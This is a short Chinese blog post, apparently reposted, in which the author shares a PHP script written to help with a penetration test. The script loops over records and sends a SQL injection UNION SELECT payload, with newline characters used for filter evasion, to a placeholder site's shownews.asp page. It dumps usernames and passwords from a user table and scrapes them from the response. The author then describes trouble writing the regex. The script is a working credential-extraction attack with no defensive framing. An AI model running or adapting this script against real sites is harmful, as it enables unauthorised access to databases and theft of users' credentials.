写一个php小脚本辅助渗透测试

因为一个注入要爬行一些数据,然后写的一个小脚本,能写脚本来辅助渗透,也算是里程碑。哈哈哈

<?php 
$num = 1;
while ($num <= 39) {
$web_url =  "http://www.xxx.com/shownews.asp?id=626%0AUNION%0ASELECT%0Atop%0A1%0A1,user_username,3,user_password,5,6%0Afrom%0A(select%0Atop%0A1%0Auser_username,user_phone%0Afrom%0A(select%0Atop%0A".$num."%0Auser_username,user_phone%0Afrom%0Azy_user%0Awhere%0A1=1%0Aorder%0Aby%0Auser_username)%0At%0Aorder%0Aby%0Auser_username%0Adesc)t";
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL,$web_url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
$html_code = curl_exec($curl);
$re = "/<div class=\"helpcontent\">[\s\S]*div>/U";//U取消贪婪模式
if(preg_match_all($re, $html_code, $arr)){
    print_r($arr[0]);
}
curl_close($curl);
$num = $num + 1;
echo "<br />";
}
 ?>

这里遇到了最大的问题还是正则匹配。匹配那个换行。因为html标签是这样的。

  <div class="news_list fr">
	 <h1>wtmpvp</h1> 
     <div class="helpcontent">
		这里是要匹配的内容
	 </div>
	</div>

可见匹配当中有换行,且一大堆空格。

然后写半天写正则写不出来。贼尴尬。

 

转载于:https://www.cnblogs.com/xishaonian/p/6602299.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值